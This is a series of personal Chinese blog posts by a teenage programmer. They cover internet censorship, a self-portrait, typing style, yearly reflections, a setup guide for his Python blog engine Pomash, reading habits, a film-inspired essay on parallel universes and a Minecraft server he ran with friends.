等网站,搜索一些似乎有点政治不正确的内容,但等着你的不是一片空白的页面,就是“根据我国的相关法律政策规定,有关结果不予显示”的醒目提示。长城是古代中国为抵御不同时期塞北游牧部落联盟的侵袭,修筑规模浩大的军事工程的统称。如今,同样一座难以逾越而且还看不见摸不着的长城正坐落在中国互联网的边缘,这一次,长城不再用来抵御外来的入侵,而是挡住了墙内追随世界的步伐。 相比被动的审查,还有自我审查。什么是自我审查?简单的说就是对涉及某些政权或政治相关内容有所顾忌。大家都在咱们国内上网,网龄也有多年,我相信每个人或多或少都有自我审查,即在发言前有所顾虑,不过很多时候这些顾虑都是多余的,因为即便你没有顾虑的发出去了,也会有人帮你删掉的。自我审查就像是立在内心中的一堵墙,遮掩了自己的心,堵上了自己的嘴。自我审查彻底消失的那一天,也许就是人民拥有真言论自由的一天吧? 我希望更多人能了解到审查和它对言论自由的危害。历史上有两堵阻挡自由的墙,一个在柏林,已然倒塌,而另一个就在此时此刻的中国,而且似乎正在越垒越高。或许有人会为这堵墙洗白,说它是一个正确明智之举,但要我说,等到墙倒塌的那一天,人潮所选择并涌向的一边,便是正确和自由的一边。 我们的生活似乎正在向一个乌托邦前进,有完美,安全的自我保护环境,有温饱自足的平凡的生活,但一定会有许多人无时无刻地想方设法逃离这个乌托邦,来到外面的世界——那儿也许并不完美,却更自由。

2015/1/8
articleCard.readMore

自画像

这是一篇极具主观色彩的自我审视和剖析,审视停留之表面,剖析止步于浅显,如有疏漏不妥之处,望请指出,不胜感激。 耿海直 / JmPotato Hertz 公元纪年1999年7月1日生于中华人民共和国甘肃省敦煌市旁一小镇并定居至今,本人写下这段文字时为一名高一学生,虽仅走完了至少18年的教育生涯的一半,但仍保持着对知识的渴望和追求。平日思绪较为跳跃混乱,时常忘怀于己,有感而发,因常被误以为有中二之嫌。私以为为人友善,内骚外敛,在熟人面前放荡不羁,陌生人面前沉默寡言。相貌平平,身高大众(寄希望还有上升空间),扯淡比较厉害,智商不高,情商够用,节操不知道。 有言道:“安身立命于技,淡然心智于理,成王败寇于命。” 时为今日,谈及技,一知半解为吾所用;谈及心智,理性与感性并存而前者居上;谈及命运,不甘人生之既定。以上皆为鄙人目前所信所遵,至于未来如何,孰知? 本人所热衷甚至挚爱的: 风格较为轻柔的歌与曲 简洁扁平的设计风格 较为深刻的非快餐式电影 除言情武侠玄幻之外的大部分书籍 把个人所想转变为文字 咖啡,尤其卡布奇诺 足球 女票 本人所反对甚至憎恨的: 强权 民族主义 种族主义 性别主义 对 LGBT 群体的歧视 对言论自由的限制 无耻的剽窃行为(例如,对知识产权的漠视) 无论据的观点 无知 不承认、抹去自己的言论 本人所相信甚至坚信的: 自由高于一切 说正确的话,做正确的事,就会得到正确的结果 这个世界的本质毕竟是美好的 目前为止,科学技术是最能提升人类生产力的理论 对于生活的态度: Witness and Preach the Life. 对于政府、国家、民族的态度: Love its people, but never trust its government. Believe in revolution rather than evolution. PS:这句话的来源,本人对原句稍作改动 在技术方面,本人是 Python 社区的支持者,最喜欢的编程语言也是 Python,并对 Web 开发非常感兴趣,能简单使用 HTML、CSS 等工具进行个人的生产。同时我支持开源,我个人的所有作品基本都基于 MIT 协议并在 GitHub 上发布源码。 我的主要作品: Pomash:一个轻量级的博客程序,就是我现在用的这个 Aam:一个个人静态简历界面生成器 College:一个学生社区 Bookshelf:一个阅读清单管理统计工具(无限期跳票) 本人是中文母语者,英语作为我的第二语言。虽说不能熟练的用英语进行口语交流,但阅读和编写相关的英语资料文档还是能够胜任。 最后,对于我个人的价值取向以及因此而产生的言论想法,我不敢保证能够永远坚持,随着时间的变化,我的种种都可能会改变,因此对于我过去的所有公开的言论,我承认,但不一定苟同。 其他的信息 英文版的我的关于界面:http://about.ipotato.me 我的联系方式、相关社交网站连接:http://about.ipotato.me/Links.html 我的所有开源作品:http://about.ipotato.me/Links.html 我看过的电影:http://movie.douban.com/people/JmPotato/collect 我读过的书:http://book.douban.com/people/JmPotato/collect

2015/1/3
articleCard.readMore

输入习惯

为了便于编辑和阅读,输入时应当注意排版、符号、大小写等问题,以下是我个人在输入中始终遵守或正在养成的一些习惯。 中英文排版 中英混输时应当相应的在中文和英文中加入空格,如: iPotato 正运行在 DigitalOcean 的 San Francisco 节点 VPS 之上 很显然这种排版使行问看起来更流畅,也便于读者选择和查找信息。 英文大小写 对于特有名称应当遵守其固有的大小写习惯,例如: GitHub Python Django Tornado Markdown 中英文标点 当一个句子的主要语言成分为中文时便应当使用中文标点,反之亦然。 当在中文中对英文句子进行引用时,应使用直角引号: 听说过「Knowledge is power」这句名言吗 以上,仅供参考。 最后说一句 FUCK OCD

2014/12/21
articleCard.readMore

过去在左,未来在右

年度小结这种东西,前年写过,去年写过,但是,现在看来那两篇都是败笔。因为在认真思考过后,我觉得年终总结不应该是说自己写了多少行代码,读了多少本书,看了多少部电影,这样对观众没有意义,对自己是种敷衍。 2014年对我而言是一个转折,无数人生节点中的第一个转折。也许正因为生命中前14个年头在孩童少年中平平淡淡的过去,有点过于沉寂,所以在这第15个年头上注定要不平凡。 站在人生的节点上,下一条路在哪? 初三 我们这个小地方只有一所高中和两所中学,所以不存在什么要考重点高中的择校问题。但纵观全国各地的教育体系,总得有个培养精英的地方,既然没有重点学校,那么一个叫“奥班”的地方便应运而生。自打初一入学起,各科老师都会时不时的“你们中的有些人要努力考上奥班才是”、“考上奥班高中三年后的机会就更大”云云。 可即便如此,我初一初二还是玩着过来了,现在看来,实在是可惜,说的毫不客气一点:浪费两年生命。不过我记得我提到过,我从来不是一个怀旧的人,过去的早已过去,可恨也好,可惜也好,留在心理,告诫自己不要重蹈覆辙便是最好。 2014年的新年过后,我走进了我在实验的最后半个年头。 直到初三我才开始后知后觉:该努力了。两年后才意识到这一点,为时虽晚,但还不算迟。在我忙里偷闲的时候,总有人在苦学,在我不堪重负的时候,总有人还在坚持。每天早上天刚朦朦亮就要来到学校,在操场上不知疲倦的加速跑、俯卧撑、立定跳,一切只为了体考,在我精疲力竭的时候,总有人还有余力,在我苦不堪言的时候,总有人还在咬牙坚持。 当然,一切努力没有白费,一班的40张门票,我终也抢到了一张。 可这么走下去,值得吗? 高中 进校的那一天,来自两个不同学校的学生门庭若市般的汇集在校园内,四百多号人的人生自此有了交集。 人常说有期待才会有惊喜。和新同学刚刚坐在一起,一场对这个新生的团体的考验就已经来临。 学校迎接高一新生的见面礼是军训。正巧那时是太阳最毒辣的时候,一整天的操练,一站就是半个小时的军姿,现在看来还是很佩服自己,能坚持下来,实属不易。 可通过暑假休养生息出来的小白脸彻底成了一位猥琐逼。(太阳:怪我喽?) 老实说,自打军训开始的那一天起,我就不对能赢第一抱期望,因为这是一个在军训前半天才组成的集体。团结?我心里没底。 可军训汇演,所有班级中傲眼的第一名。 一场完美的序幕。 惊喜,不是吗? 随后正式开始的学习生活,序幕过后的大幕也已揭开。 现在已是12月,从烈日下的军训到雪中上下学的奔波,开学后的4个月过得很快,短短四个月中,我认识了很多人,很多有趣的人、有思想的人、奇怪的人当然也有我不喜欢的人...... 步入高中,我也终于遇见了我挚爱的一项运动——足球。每周六在绿茵场上的奔跑,和志同道合者们的交流对抗,也渐渐成了生活的一部分,那种大汗淋漓的酣畅,也成了习惯。 阅读和电影,在我个人看来有异曲同工之妙的两个东西也闯进了我的生活。为了不让自己在很多时候显得很无知,我开始坚持阅读。为了让心灵获得更多的感悟,我开始坚持每周花时间看上几部电影。可是涉猎越多,我又愈发会发现自己知识的贫乏,人生的感慨和复杂无常。看多了别人是怎么活的,也算是为自己在堆砌一条明路。堆路的方法是什么?像上次说的:“如果现实就是这样了,不用改变了,那么现实也太糟糕了,总得做点什么。”山不走过来,我便走过去,既然没法改变天地,那就改变自己。 去做一个更好的人。 这样走下去,值得。 站在节点中间 我才15岁,人生的路还很漫长。随波逐流,我不甘心,可逆水行舟,不进则退。站在人生的第一个节点上,选择通向正确人生的那条道路,如果要给自己一条忠实的建议:纵使美好和幸福不在远方,但过去的努力一定在你身后。

2014/12/20
articleCard.readMore

总得写点什么

2014年又要过去了,在年终之前总得写点什么。当然,这不是一篇年终总结,按照惯例,年终总结会在12月底或一月初左右放出,要问我年终总结目前的进度?嗯,只写了个标题。 但现在,总觉得该写点什么。 当你完全融入某一个环境中后,日子就会过的飞快。现在看来,这句话一点没错。我很快就适应了高中生活,虽说和我所憧憬的还是存在许差池,但总归还是安顿下来了。从烈日下的军训到寒风中上下学的劳苦,4个月过得很快,也很茫然,什么也没留下。 不知道从什么时候开始,我有了每周末看一部电影的习惯;也不知道从什么时候开始,我开始提早在周末完成作业了;更不知道从什么时候开始,我喜欢上了运动后大汗淋漓的感觉。有些习惯,就在时间流逝的不经意间被留在了身上。 为了不让自己在某些时刻显得很无知,我开始坚持阅读,可是涉猎越多,我又会愈发发现自己知识的贫乏,看着那些脱口成章的人,我很羡慕,同时也在努力。 有时候会有很多奇怪的想法,散落在大脑的各个角落里,某一天,某一个想法或者困惑又会迎刃而解,就这样不断的被产生——解决——产生——解决,如同莫比乌斯环,无限循环。自细思考,正因如此,人类被美其名曰为“高等动物”。 我从来不是怀旧的人,我一直期待未来。现在想来,这不是因为我有远见或者有志向什么的,而是因为我一直觉得,如果现实就是这样了,不用改变了,那么现实也太糟糕了,总得做点什么,既然没法改变天地,那就改变自己。 我现在很清楚能让我自己满意的生活是什么样的。我还很希望能对世界做一点点事情。如果能做到,就不枉来了世界一回。如果不能,就当我是漫长人类历史中微不足道的一粒沙子吧,但即使是沙子,很多很多的沙子,也可以建成金字塔。 现在长大了,事多了,心杂了,亦得亦失,以前盲目的快乐虽然难得,但是现在理性的去充实自己的生活,即便酸甜苦辣,也是值得。 难得和值得,太难选了。

2014/12/7
articleCard.readMore

谈谈这个博客程序 Pomash

上次更新:2014.11.4 从 Catsup 转到 Pomash 也有些日子了,从刚开始的 bug 从生到现在也逐渐趋于稳定。由于是我自己写的,所以对一些问题比较了解,自己用着算是顺手,但偶尔也会有人在 GitHub 上提 Issue 或者联系我询问一些关于 Pomash 的使用事宜和问题,怪我太懒,GitHub 上只写了一个简单的使用说明,趁着空闲时间在这里写一个详细的指南。 如有错误和疑问,请指出,谢谢。 安装与配置 安装前请确保你的安装环境已经包括了以下东西: Python 2.7.6+(对 Python 3 的兼容性我还没有做过测试) pip 先从 GitHub 上把 Pomash 扒下来,你可以去下载源码压缩包或者直接使用命令: git clone https://github.com/JmPotato/Pomash.git 然后就是依赖的安装: cd Pomash pip install -r requirements.txt 接下来就是settings.py的设置,这里是设置选项内容的对应表: blog_name 博客名称 blog_author 博主 blog_url 博客地址 twitter_card 是否开启 TwitterCard 功能, twitter_username 如果开启了 TwitterCard 功能,请填写上你的 Twitter 用户名,否则忽略即可 analytics Google Analytics 代码,没有则留空 enable_comment 是否开启评论 disqus_name 评论采用 Disqus,所以请填上你自己的评论代码 theme 博客主题,我个人用的是 Clean 这个主题,稍后会提到主题安装 post_per_page 每页显示的文章个数 cookie_secret 此项是 Cookie 加密密匙,请务必更改!! login_username 后台登录用户名,默认是 admin(默认密码也为 admin) DeBug 开发者选项,是否开启 debug app_key Dropbox API Key,和 Secret 一同填写后,可以使用 Dropbox 备份功能 app_secret 同上 注:如果你需要 Dropbox 备份功能的话也可以联系我,向我索要 Pomash 的 API Key 和 Secret,或者你也可以自行到 Dropbox 官网申请 确保完成以上配置后,创建数据库和运行 Pomash: python init_db.py python run.py --port=指定的端口 初次使用 在安装和配置完成后,你可以到/admin登录后台,帐号已在settings.py中填写,默认密码为 admin。在后台,你可以管理,发布、编辑文章和博客页面、进行 Dropbox 备份和更改登录密码。 发布一篇文章需要填写标题、标签和正文内容,每个标签间用英文半角逗号隔开, 新建一个自定义页面时,只需填写标题和页面内容。 注意:Pomash 的编辑器有自动保存功能,双击编辑框即可载入自动保存内容 主题安装 目前 Pomash 只有两个主题,默认主题和 Clean,默认主题做的有点渣(原谅我的渣审美),所以我个人推荐使用后者 安装主题很简单,首先需要进入 Pomash 的主题目录,将主题下载下来,并将文件夹名称改为主题名称: cd Pomash/Pomash/theme git clone https://github.com/JmPotato/Potheme-Clean mv Potheme-Clean clean 然后在settings.py中将主题设为clean即可。 Enjoy~

2014/11/4
articleCard.readMore

改变

世界总是在变化,并且变得愈加复杂;万物也在不停的运动,一刻不停歇;宇宙作为一个孤立的系统,熵总是在义无反顾的增加,一切运动终将会停止,人的生老病死也是宇宙走向热寂过程中的一个缩影,如同沙漠中的沙粒般卑微。 怎样才能让一颗沙粒活的更精彩?也许答案是改变自己,让自己成为一颗耀眼的钻石。 不过,能成为钻石的沙粒毕竟是少数。 但人总是要变的,在整个人生过程中,有些改变是潜意识的,有些则是刻意的。 幼儿园、小学、初中和高中,在我已度过的15岁人生中,大致可分为这四个阶段。现在看来,前两个阶段都可以用幼稚和天真一笔带过。而后两个阶段则要复杂的多,我的人生观、价值观、世界观等都在这两个阶段悄然形成,并且在不断的修改与加固。我很高兴我能认识到这一点,因为在我平常的观察中,身边让自己的种种随意发展的人数不胜数,他们似乎不太在意自己以后会成为一个怎样的人——至少,我不希望自己随波逐流。在平常的生活中,我喜欢对所见到的现象进行放大的思考,想想孰是孰非,想想换做自己会怎么做,想想今后如何教孩子对待这些事......也许有些我想的太远,也许有些我想的就是错误的,但反此以往的刻意改变总会对我造成影响。 我有很多的缺点。在我发现我的缺点后,我尝试去改正,但在这个过程中我发现了一个让我害怕的事实——有些缺点已经熔铸到我的性格中去,改起来并不是那么的容易:我容易自大、有些不负责任、对某些人和事戾气太重、行事前常缺乏思考等等,人常说“有则改之,无则加勉。犯而不校,错上加错。”我正努力逃离这些缺点,我也相信我能做到。 人总是要变的,改变是一个过程,我恳请我曾伤害过的人,给我机会和时间;我也请求与对我有所期望的人,拭目以待,在以后看到一个全新的我。 我只是想成为一个更好的人。

2014/9/9
articleCard.readMore

这个暑假我干了些什么

此时此刻是2014年8月5日,距离开学还有13天。 假期真短,转眼过了一大半。每天打开 QQ 空间,各种旅游感受说说、风景照扑面而来,我这个死宅也只有坐在家里看的份了。由于种种不可抗力亦加上几个人为因素,我家的旅游计划算是泡汤了。于是早在暑假到来之前我就制定了计划来丰富这个来之不易的无作业假期。 可是后来我发现:假期计划什么的对我来说通通都是扯淡!!! 计划什么的就这样被我的无执行力无情的踏死在了脚下。 生命在于运动 假期伊始,为了身(zhuang)体(zhuang)健(bi)康和体(zhuang)态(zhuang)健(bi)硕,我每天早上起来后都会出去绕着小区跑步,顺带给我的 bong 刷活跃点。刚开始还感觉不错,有时候正赶上天灰蒙蒙的下小雨,旁边的农田被雨湿润后会散发出泥土的味道,呼吸着新鲜空气,一下感觉人生是如此的美妙(ˉ﹃ˉ)。当然,跑步这事我没坚持几天,原因嘛,一是我太懒+宅属性,二是天越来越热了,实在让人着不住。 后来有一次和同学出去骑行,一路上边聊边走,不知不觉便骑出去很远,回来算了算大概有55公里左右吧,那次可是累坏了,到家躺在床上都站不起来了。不过还好,第二天就恢复正常了。 期间又出去题了几次球,还得到了一位足球菊苣的指点!虽说到底球技没有任何见长,但还是了解到高中里足球圈子还是很赞的,打算上高中后进足球队玩玩 QwQ 游戏 想想以前自己沉迷 LOL 的逗逼岁月就不堪回首,现在我分配在玩游戏上的时间越来越少了,不知道是真的失去了兴趣还是有意克制,反正觉得玩多了就容易玩物丧志。我个人属于剧情党,对神剧情的电影、电视剧、小说和游戏都毫无抵抗力,所以一般玩游戏都只玩个剧情就删了(多人游戏除外) 这个假期通关的游戏: Portal Portal 2 Watch_Dogs BioShock Infinite 有几个永远也玩不通关的游戏: Minecraft Civilization V 开发 在翻自己的 GitHub 的项目的时候忽然发现了自己 N 个月前开的坑——College。我的初衷是为了建一个当地的学生社区,打造一个属于学生的圈子。于是在 whtsky 前辈的项目 PBB 基础上进行了改造,揉和了一些我在其他社区见到的,认为是精华的东西,同时也为了更符合学生社区这个概念进行了修改 ,于是 College 最终上线了,我采纳了一位朋友的建议,更直接的把 College 音译为了烤荔枝,同时也买了个易记的域名 kaolizhi.com 不过由于我宣传的力度不够,现在俨然成了鬼服......打算等到开学了再去同学之间宣传一下,尽可能的把它活跃起来 由于受到我列书单(下面会提到)的影响,我决定开一个新项目 Bookshelf 主打功能是书单和阅读计划定制,以及统计阅读数据等。我个人认为这将会是一个挺有用的工具(至少对我个人而言是)不过由于项目开启时间太晚,不知道开学之前能不能搞完,不过现在已经暂时上线了主页,有兴趣的同学可以去围观:http://bookshelf.ipotato.me 新项目: College Bookshelf 维护中的项目: Pomash Aam 读书 假期见买了很多书,不过大多都是买来翻了几页就放那落灰,感觉很可惜(你还知道可惜啊),于是为了督促我阅读,我花了几个小时整理出来一个书单,书单基本包括2011-2014年所有我读过的书,就算是我的图书馆吧,不列不知道,一列吓出尿:发现自己这几年来读的书太少了,真的太少了。想想自己小时候对书的爱不释手,又有些”自愧不如“。被自己的阅读量震惊后,开始反思自己为什么读的这么少,仔细思量后,大概是一下两个原因: 平时上学忽略了阅读这个环节 懒 人啊,有时候就是缺那么个决心,决心下死了没有做不到的事,这次被自己打击到后,彻底下决心开始多读书。不过口说无凭,有心的人可以多关注下我这个书单,我会不断更新,相信有一天这个列表会变得非常长:Book List 共勉! 题外话:意外的访谈 本来列书单没什么特殊的目的,只是为了激励自己。但不知道从什么途径在微博上被码农周刊发现了,在得知我的年龄后,要对我进行一次访谈,我也没什么准备,就跟着人家聊了一下午。事后想想,我从来没有跟别人说过这么多我个人的想法和思考,说出去后倒是有一种非常愉悦的感觉,也许是因为自己第一次有了听众,更也许是因为自己得到了认同。总之,我很感谢这次意外的访谈。等访谈发布了,大家可要捧捧场喵~

2014/8/10
articleCard.readMore

为什么要写博客

“为什么要写博客” 似乎是每一位博主都会在博客里提及的一个老生常谈的问题,上到博客老手,下到像我这种文(zhuang)艺(bi)少年都会在博客里侃一侃博客本身。 #iPotato 的前世今生 如果我没记错的话,我最早是在2012年开始正式写博客的,在此之前也搭过各种 WP ,但最终都因为缺乏维护和肚子里没墨水走向了灭失。后来 whtsky 大神写了一个叫做 Catsup 的 Static Website Generator ,出于帮他测试以及玩玩的心态,whtsky 也帮我搭建了我的博客,于是我一直维护 iPotato 到现在,期间也断过几次,但还是坚持了下来,有一件事能坚持2年,在我看来也挺不可思议的。虽说现在已经不再使用 Catsup ,转而使用了我自己写的博客程序 Pomash (毫无植入痕迹有木有)但用于存储我的文章的 Repository 还在,有兴趣的可以去翻翻我以前的(hei)文(li)章(shi)。 Repository 地址:https://github.com/JmPotato/posts #为什么要写博客? 第一次听到这个问题,脑子里便下意识的弹出来一个答案:逼格甚高。不得不承认,能在同龄人中(建博客的时候我13岁,这个答案我是站在那时候我的角度回答的)拥有一个自己的博客是个挺酷炫的事情,在别人刷着 QQ 空间,转着脑残日志,脑残说说(就是开地图炮怎么地了)的时候,我有一片自己可以任意支配的领地,我可以在这片里标新立异的领地里竖起自己思维的旗帜,没有任何干扰,没有任何限制,我能自由的写下自己的想法,吐槽一切我看不惯的事物,对那时的我来说是一件很有诱惑力的事情,也是一个可以迅速提升逼格的方法,何乐而不为?(中二气息浓厚) 当然以上都是我过去的想法,俗话说的好:“生活是一个不断发现自己以前是个傻逼的过程” 现在的我就觉得以前的我很傻逼,“好好的一个博客竟然被当成了装逼工具”、“毕竟图样图森破”、“黑历史神烦”等等。所以说,到底为什么要写博客? #为了与过去和未来的自己打照面 有位智者说过:“写博客是为了和过去以及未来的自己对话” 写给十八岁的自己 这篇文章就是我在看到这句话后的产物。博客可以作为一个见证,它既可以见证过去也可以见证未来,看自己以前的文章,可以回顾自己的成长,就算是黑历史也可以和现在的我打个照面,看看自己哪些变了,哪些没变。同时,目前正在写的博文也将是未来我的“参考历史”,看看现在的自己和未来的自己又有什么不同,在对比中成长完善自己。 总之,博客可以作为一个时间的媒介,它可以历尽沧海仍不变,供它的主人来了解其本身。 #为了表达自己 人是会思考的动物,因而美其名曰“高等动物”。听、说、读、写都会调动起大脑不停的思考,不停的运转,为了遵循守恒定律,运转的动能便转化成了一种无形的财富:思维。人一生思绪万千,思考出来的产物的价值更是不可计其数,为了将无形变为有形,把思考的价值从思维的银行中提现,我选择把它记录下来,而博客便成了提现后财富的保险箱,抽象的思维也有了一种具象的存在——文字。我是不吐槽会死喵星人,有的话憋着不说出来真的很难受,但有时表达欲过旺,在所有的思绪呼之欲出之时,又会发现自己表达的贫乏和无力,难道思考中也有文字承载不了的东西在里面?认真分析,还是将其归咎于自己的表达能力欠弱,但就是因为弱,所以更要写,憋久了,容易出内伤,所以不吐不快! #为了交流 有时候思绪一来,便会坐到电脑边开始码字,于是洋洋洒洒一大篇文章便发了出去,然后便开始等待人们的赞赏,想想还有点小期待呢,嘿嘿......艾玛,评论来了,打开看看,我靠,这哥们怎么回事,上来就批斗,想砸场子啊,待我把它的评论删了......等等,做人不能这么狭隘,写文章的第一初衷是为了表达自己,其次不就是为了交流想法吗,没有人看的信息就像一座孤岛,无人问津,闭关锁国,只沉浸在自己世界里,满足于自己狭隘的思考。博客总结了你的想法,他人可以交流完善你的想法,获得他人的反馈和反思。一个有时间沉淀的博客,也就成了你的 Mind Palace,进入其中,你的三观,你的思辨都一览无余,人常说看人先看脸其次看内在(不得不说当今还是一个看脸的时代,你们继续读,我先去照照镜子......),博客就是我的内在,如果写博客这件事能坚持到了我找工作的那一天,除了你的个人能力,博客便是最有说服力的一份 Bio #接下来该写点什么 我个人喜欢收藏别人的博客,有些高质量的博客我会反复阅读里面的文章,反复咀嚼,总会有自己的东西。阅读这些博客的过程中,不难发现,好的博客都有共一些共性: 见解 信息量 更新 博主有自己三观,对每一件事有自己独到的见解,这在我看来是最重要的,所以我把他排在第一位,最可怕的事莫过于跟风的人云亦云,久而久之独立思考能力便丧失了。第二是信息量,好的博客应该给大家带来有价值的东西,毫无信息量的文章读起来便味同嚼蜡,嚼到头来既没味道也浪费时间。最后一个就是坚持的更新,互联网普及的今天,知识的迭代更新速度呈指数增长,如果跟不上时代的列车,思维的老火车也会生锈抛锚,停滞不前。 #写在最后 凡事都是由兴趣开头,成功的人会把兴趣坚持下去,能真正做好的事情才算自己的兴趣,不然的话只算是“三分钟热度”,我也希望我能把写博客这件事坚持下去,做好这件事,上面提到的一个好博客的共性就是我努力的标准。 在互联网上留下自己独特的印记吧! 以上,这就是 Why blog

2014/7/28
articleCard.readMore

阅读小记

阅读历来都被称道为最有用的学习方法,打小起我就开始看书,不过那个时候我最爱看的还是各种惊悚、悬疑和冒险类的小说。那时候能影响我的东西都很少,像电脑手机什么的我都还不感冒,所以那时的我读书可以做到很专注,一下午看完几本很厚的书也不是什么难事。记得给我影响最深的还是 R.L.斯坦 的《鸡皮疙瘩》系列,每次最让我津津乐道的便是它的结尾,总能出乎意料的给你一个惊喜,惊喜过后便是开放式结局所带来的耐人寻味。 反观现在,到今天为止(2014年7月25日)假期已然过半,为了不让自己的这个假期过于荒废,早在假期伊始我就入了 Kindle 和很多书。起初,每天我都会花较多的时间阅读,但后来越来越少越来越少,直到现在我意识到问题所在:我的阅读专注力正在下降。现在想起来,我倒是很羡慕小时候自己的专注力,甚至希望现在能有以前的一半也好。其实仔细想想也不奇怪,手机随时不离手,电脑就在旁边触手可及,能诱惑我的东西太多太多——不过这都是扯淡,说到底还是自己的自制能力差。这个要改,只能靠自己喽。 于是我好不容易克制住了自己,开始了阅读。现在我读的书种里面,小说占的比很少,更多的是一些工具书,于是随之而来又有一个困扰:书中好的工具、道理很多,但能记住的却又很少。每次一想到这便深感无力,为了避免猴子搬包谷的笑话,我养成了做笔记的习惯。还好,在 Kindle 上做笔记很方便,时间成本几乎为0,只要把选,随后即可导出到电脑里。我自己写了个脚本又把同一本书里的笔记都归类到了一起,不时都会拿出来反复阅读,时间长了,大部分有用的知识都可以记住啦。(我真是个机智的少年<(`▽′)>

2014/7/25
articleCard.readMore

遥远的星星

昨天刚看完一部电影《源代码》,在回味之余也进行了自己的思考。纵观电影主旨,用“余晖理论”来概括再适合不过了。首先,什么是“余晖理论”?说简单一点,便是依靠外人对于在同一个世界之前的记忆,更改在同一个世界后续发展的轨迹。这个外人,即电影主人公本身就是同一个世界中关于过去和未来的信息载体,一个媒介。在电影最后3分钟之前,我对源代码所构建的世界的理解仍是:一个利用死人的大脑“余热”所构建的虚拟世界,一个只有8分钟的世界。但后来我发现博士骗了我,电影在结束之前已经多次暗示了源代码世界不只有8分钟,例如主角的两次下车,都避过了第8分钟的爆炸却依然存在于这个世界,如果不是死亡,他不会回到“真实”世界,由此观之,主角每一次进入的源代码世界,都是一个平行宇宙。影片最后几分钟所发生的一切,都不再是那个发生了爆炸的世界,而是被主角成功阻止爆炸的那个世界。 至于平行宇宙理论,我在多年前就有所了解,第一次知道除自己所在的这个宇宙以外还存在着更多的宇宙,除惊讶之余便是震撼(由这件事我的世界观第一次发生了改变),细细想去,在与此同时有另一个我在另一个宇宙里坐在同一台电脑旁,写着同一篇文章——惊讶、感叹跃然脑中。 平行,平行,平行就是永不相交。两个平行世界虽然永无交点,不能互相影响,却完全一致,无论是过去还是未来,但在选择上又有可能大相径庭,试想有这样一个地方,存在着另一个我,与我拥有同样的生活,但是,有一点不同,在站在人生岔路口时,他总是走在那个比我的选择更正确的道路上。思绪到此,脑内总会有一股想法:“为什么那个'我'不是我?”对他人优势的妒忌,我觉得是人的本性(当然,是一种需要极力克制与摆脱的本性),但没想到我也会妒忌我自己。我想抛掉它,但这种想法在过去很长的一段时间里都伴随着我。为什么宇宙如此的不公平? 一天,在外面疯了很久以后已是深夜,回家的路上,无意间抬起头,看到了天上的星星。小时候,爸妈总是告诉我星星就是星星,就是挂在天上的会发光的东西。当然,事实不是这样,那些星星都是来自遥远的行星发出的夺目的光,有的甚至已经毁灭,但他的余辉还是在数千万光年的跋涉后,来到了我的眼睛。我想到了另一个“我”,他会不会也在和我看同一颗星星呢?同一束光会不会带来相同的感受?GK·Chestern 说过,世界上最远的距离不是你离任何一个星球的距离,还是你到自我的距离。想真正了解自己的内心是很困难的,正如我在看星星的时候便突然释然了,连我也不知道是为什么。现在,反观那个比我过得更好的我,如果把宇宙比作一个有许多交叉小径的花园,在这个花园里,总会有一条道路,让那个我在生命中的每一个节点都得到幸福,在那条完全幸福的道路上,有且仅有一个我在行走。 这是多么令人宽慰啊,在每一次铭心刻骨的选择里,总有一个我选对了路,在茫茫的恒河沙数的宇宙里,总有一个我,终生幸福。 也许此刻,我和“我“都在感谢那颗遥远的星星带来的启示。 相关资料: http://zh.wikipedia.org/wiki/%E5%B9%B3%E8%A1%8C%E5%AE%87%E5%AE%99 http://www.cas.cn/xw/kjsm/gjdt/201305/t20130523_3845075.shtml

2014/7/8
articleCard.readMore

写给我们的 PotatoCraft

谨以此文献给 PotatoCraft 所有的成员,没有你们,PotatoCraft 走不了这么远。 一个人的世界 在一天的劳作后,你背着锄头走过山头、溪边,你是否会驻足,眺望你身边的风景? 某年某月的某一天,我像往常一样在 Minecraft 里重复着一天天比我在现实中还要规律的生活。像往常一样,从泥泞的田地里归来,走那条走过数遍的路。西面的太阳透过无数的光线照在了大山贫瘠的土方快上,夕阳的昏黄似乎也让大树们昏昏欲睡。透过身旁的溪水,我看到了自己的倒影——只有我一个人,嗯,一个人。 偌大的世界里,只有我一个人。孤独,在此刻似乎被完美的诠释。很快,我退出了游戏,刚才那一幕的触动未尽,我又陷入了思考:我身边有很多 Minecraft 玩家,想必不只是我一个人会有此感受。 世界的构建 很快我就有了一个想法:组建一个世界,一个属于大家的世界。 我很快找到了身边的人询问如果有这样一个世界,他们是否会愿意加入,不出所料,响应者无数(其实才不到5五个人),在获得支持后,我开始紧锣密鼓的为新世界的创建做准备。物质基础当然是发展一切的前提,万丈高楼平地起,我开始恶补建服相关的资料以及各种教程,在学习、生活上我可从来没有这么认真努力过,当时的那股动力,前所未有,直到现在也没有在我身上体现过第二回。不知道到底是为了什么,也许是一种固执,亦或是为了快乐和摆脱孤独吧。 当时的我上初二,没有任何经济来源,可构建新世界最重要的便是用来租赁服务器的资金。虽说 Linux VPS 的价格并不算贵,但仅就技术层面来说,我对 Linux 的熟悉程度远远不够,日常管理的话问题会非常非常多+很麻烦。为了不给大家添乱,我把目标转向了 Windows 主机,但发现了一个残酷的事实:贵。 在苦苦寻找了很久之后,希望渺茫,靠谱的主机商无一例外的把我这个“穷光蛋”拒之门外。 “为什么不问问万能的淘宝呢?” 一个声音划过耳畔。这可是我最后的希望了,我将信将疑的打开了淘宝,一番搜索后得到的结果让我泪奔。终于,找到了。 在和卖家的一番沟通后,我以很低廉的价格拿下了半年的主机使用权。 一周目 在几次测试性的开服后,一周目开启了。在开启一周目前我也做了很多准备,单纯的玩 Minecraft 生存似乎让大众有些疲劳,正巧我当时了解到了 Mod 这个东西,在进一步了解和收集后,我把 RPG 的元素加入到了 Minecraft 里面,职业、技能、装备、经验这些很酷炫的东西都无一例外的被揉进了 Minecraft 的世界中去。 一周目的道路很曲折,由于服务端的一些故障,我更换了很多遍世界,一次次推翻了大家辛苦的劳动成果,不过大家都很配合理解我,并没有追究。 一周目正式的开启是在我无数次折腾后,让服务器终于趋于了稳定。出生点是在一个热带雨林孤岛上,我们开始了新的探索。 我们的世界 曾经的我们,都拥有自己的世界。喜怒哀乐,在 Minecraft 的世界中都有所体会。而一个共同的想法,把我们凑在了一块。终于,我们存在于一个维度,存在于同一片土地。喜怒哀乐不再是自己独享,情感的交加让我们更加满足。在走过每一个周目时,暮然回首,孤独已被我们留在了原地,而追随我们的是分享的快乐。JBSang 丰富的知识让我们涨了姿势,原来 Minecraft 还可以这么玩;Crazydeng 的呆萌,让我们莞尔一笑……每一位成员的特点汇聚在一起,PotatoCraft 才会诞生。 PotatoCraft 感谢有你。 这个暑假,我们不见不散。 (照片均来自 PotatoCraft 实际取景,摄像者:JmPotato)

